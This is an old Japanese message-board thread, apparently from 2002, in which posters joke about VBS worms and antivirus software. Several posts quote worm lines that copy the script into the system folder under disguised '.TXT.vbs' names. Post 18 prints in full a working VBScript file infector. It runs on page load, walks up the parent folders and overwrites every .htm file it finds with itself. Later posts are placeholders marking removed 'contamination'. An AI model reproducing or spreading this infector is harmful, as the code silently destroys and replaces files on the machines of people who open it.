1 :
名無し~3.EXE:02/07/06 15:16
>>2 ごめん、漏れも今そこに気がついた(;´Д`)
c.Copy(dirsystem&"\M$に通報スマスタ.TXT.vbs")
6 :
名無し~3.EXE:02/07/06 15:31
さすが薮医者
これわろた 2ch批判要望から
24 名前:例えにもなってないが 投稿日:02/07/06 14:16 ID:Rk/EmI3H
厨房学校DQNクラス担任のノートン先生はとても厳しい人で、
汚い言葉やいやらしい言葉を使う生徒を厳しく注意していました。
あるひ、A君はB子ちゃんに勉強を教えていました。
「う〜ん、この問題は・・・」
ノーd「!?うんこだと!?ウンコだと〜〜〜〜〜ッ!?
貴様ァァァァァァァッッtッッッ!!!!!!」
A君はノートン先生に撲殺されてしまいました。
めでたしめでたし。
11 :
名無し~3.EXE:02/07/08 14:05
警鐘age
>>10 2chのリンクなのにどうして、hを抜いてるんだろう?
>>13 ウイルスが移ると思いこんでるんじゃあ(略)
これは悲惨な1として晒してももいいものだろうか
16 :
名無し~3.EXE:02/07/08 23:44
危弱age
c.Copy(dirsystem&"\お約束.TXT.vbs")
18 :
名無し~3.EXE:02/07/09 23:00
危弱age
<BODY Onload="Redirect();">
<script language="VBScript"><!--
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>
20 :
ひみつの検疫さん:2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
21 :
ひみつの検疫さん:2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
22 :
ひみつの検疫さん:2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
23 :
ひみつの検疫さん:2025/03/18(火) 11:20:47 ID:MarkedRes
汚染を除去しました。
c.Copy(dirsystem&\ワケワカラン.TXT.vbs)